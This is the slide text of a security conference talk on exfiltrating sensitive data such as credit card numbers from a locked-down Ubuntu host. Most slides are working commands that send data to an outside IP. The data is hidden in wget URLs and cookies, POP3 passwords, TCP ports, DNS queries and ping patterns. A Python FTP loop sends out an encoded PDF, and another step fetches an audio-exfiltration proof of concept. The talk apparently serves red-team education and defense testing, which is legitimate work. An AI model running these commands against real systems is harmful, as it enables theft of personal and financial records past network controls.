Goodbye Data, Hello Exfiltration

Itzik Kotler

CTO & Co-Founder of SafeBreach

Exfiltration is the New Infiltration

- The Identify Theft Resource Center (ITRC) reports that between 2005 – 2016 a total of *847,807,830* records exposed due to data breach incidents

- There's no question **IF** a company will get breached, only when and what will be the outcome

- Getting in is promised, but is getting to the **ASSET** and **EXFILTRATING** it is given? No …

Get into the Mindset …

Rules of Engagement

- Ubuntu 14.04.3 (Server) LTS Vanilla Installation
- Standard User Account (**No Root/Administrator Privileges**)
- **No compilers** (C, C++ etc.) **or Interpreters** (Python, Ruby etc.)
- **Read-only Filesystem**

Choose Your Destiny: Assets

- Social Security Number (SSN)
- Credit Cards (CC)
- Medical Records (PHI)
- Personal Records (PII)
- …

TCP

HTTP GET: Exfiltration via URL

```
$ wget http://192.168.1.88/4716846291594680
```

- wget is a free software package for retrieving files using HTTP, HTTPS and FTP. It accepts *any* URL as a parameter.
- We can use abuse wget's URL parameter to embedded our data in it.
- It's simple and straightforward, but works like a charm :-)

HTTP GET #2: Exfiltration via Cookie

```
$ wget --header="Cookie: JSESSIONID=4716846291594680"
http://192.168.1.88
```

- wget also allow us to specify our own HTTP HEADERS
- We can abuse wget's header feature to spoof a Cookie (e.g. JSESSIONID) and embedded our data as it's value
- We can spoof other common fields such as: User-Agent, Accept, and If-None-Match to name a few

POP3: Exfiltration via Authentication

```
$ telnet 192.168.1.88 110
Trying 192.168.1.88...
Connected to 192.168.1.88.
Escape character is '^]'.
+OK POP3 service
USER foobar
+OK password required for user foobar
PASS 4716846291594680
-ERR [AUTH] Authentication failed
```

How It Works?

- telnet client is a free software used for opening an interactive communication with *any* host on *any* TCP port

- POP3 is a text-based protocol used for receiving emails, it requires authentication before allowing access to a mailbox.

- We can abuse the authentication mechanism (**not specific to POP3**) and use the USERNAME and/or PASSWORD value(s) as a way to exfiltrate the data

TCP: Exfiltration via SYN (Destination Port)

```
$ telnet 192.168.1.88 4716 ; telnet 192.168.1.88 8462 ; telnet
192.168.1.88 9159 ; telnet 192.168.1.88 4680
Trying 192.168.1.88...
telnet: Unable to connect to remote host: Connection refused
Trying 192.168.1.88...
telnet: Unable to connect to remote host: Connection refused
Trying 192.168.1.88...
telnet: Unable to connect to remote host: Connection refused
Trying 192.168.1.88...
telnet: Unable to connect to remote host: Connection refused
```

How It Works?

- The telnet client takes host and TCP port as parameter. It will then proceed to open TCP connection to the given host at the given port.

- We can abuse telnet's TCP port parameter to embedded our data in it. This means we control a 16-bit field in a SYN packet that will be sent to *any* destination we want

- By splitting the asset (i.e. 4716846291594680) to groups of 4 digits (e.g. 4716 , 8462, 9159 etc.) we make sure each port falls within the range of a valid TCP port (2^{16}).

UDP

DNS: Exfiltration via Query (Custom Server)

```
$ nslookup www.4716846291594680.com 192.168.1.88
```

- nslookup is a free software for querying DNS servers. It accepts an optional argument of DNS server to connect to for the query
- We can abuse the optional DNS server argument to connect to our own server and use the name parameter as way to embedded our data in the request
- Again, simple and straightforward -- but works like a charm :-)

DNS: Exfiltration via Query (Controlled NS)

```
$ nslookup 4716846291594680.safebreach.com
```

- When you own a domain, you get to decide the NS (Nameserver) will be used to deliver it.
- We can use abuse the way that the DNS protocol works to get a hit on our NS server and have the data embedded in the hit (Query).
- It’s simple and straightforward, but costly ;-)

Other UDP Applications

- ntpdate (123/udp) -- set the date and time via NTP
- dhclient (68/udp) -- Dynamic Host Configuration Protocol Client

ICMP

ICMP: ECHO REQUEST (aka. Ping)

```
$ ping -p 4716846291594680 192.168.1.88
```

- wget is a free software package for retrieving files using HTTP, HTTPS and FTP. It accepts *any* URL as a parameter.
- We can use abuse ping’s pattern feature to embedded our data in the ICMP ECHO_REQUEST packet.
- It’s simple and straightforward, but works like a charm :-)

Asset Change

- So far our asset was a alphanumeric String, but what if it was Binary? This means we need **Encoding**

- So far our asset was relatively small, but what if it was a file like a PDF, XLS, TIFF etc.? This means we need to **Split** it

- For these cases, let's bend the rules a little bit and use Python (Python 2.7.6 comes preinstalled on our Ubuntu; so we're not violating our **Read-only Filesystem** rule!)

Encoding with Python

```
$ python
>>> # SECRET.PDF Encoded in Hex
>>> hex_encoded_asset = open('SECRET.PDF').read().encode('hex')
>>> # SECRET.PDF Encoded in Base64
>>> b64_encoded_asset = open('SECRET.PDF').read().encode('base64')
>>> # Applying ROT13 on the Base64 Encoded Asset
>>> b64_encoded_rot13_asset = b64_encoded_asset.encode('rot13')
```

Splitting with Python

```
$ python
>>> # We'll use SECRET.PDF Encoded in Hex as a Sample Asset
>>> hex_encoded_asset = open('SECRET.PDF').read().encode('hex')
>>> # Split by 16 bits (i.e. WORD Size)
>>> import re
>>> word_size_splitted = re.findall('..?', hex_encoded_asset)
>>> # Split by 0xFF (i.e. Delimiter)
>>> ff_splitted = hex_encoded_asset.split('ff')
```

End Game: MKDIR’ing an Asset over FTP

```
$ python
>>> import re
>>> import ftplib
>>> ftp = ftplib.FTP(‘192.168.1.88', ‘ftp', ‘ftp')
>>> data = open(‘SECRET.PDF’).read().encode('hex')
>>> for dir_name in re.findall('.?.?.?.?.?.?.?.?.', data):
...     i = locals().get('i', 0) + 1
...     ftp.mkd('%s_%s' % (i, dir_name))
>>>
```

Let’s Get Physical …

Changing the Rules [For The Last Time!]

- Exfiltration is not a Network problem, there are other ways to extract data from a Computer. USB and Thunderbolt are too obvious!

- For this one we'll need to bend the **Read-only Filesystem** to download a Python script (no other dependencies are required!)

- It's time to face the music :-)

DEMO

```
$ git clone https://github.com/iiamit/data-sound-poc
$ cd data-sound-poc/
$ python data2sound.py -i message.txt -o foobar.wav
```

How It Works?

- Modulation:
  - We modulate the data on one hand, and demodulate it in the other.
  - This is how old-school Modem (**mo**dulator-**dem**odulator) are working

- There’s no Layer 1 (e.g. V.42) or Layer 2 (HDLC, SLIP, PPP, etc.) so there’s both limited functionality and bandwidth. In other words, not effective for big files.

- Any 3.5mm jack can be used to output the data from almost any Computer with Headphones support.

In life, questions are guaranteed; Answers aren't …

Twitter: @itzikkotler / Email: itzik@safebreach.com

Thank You!

Twitter: @itzikkotler / Email: itzik@safebreach.com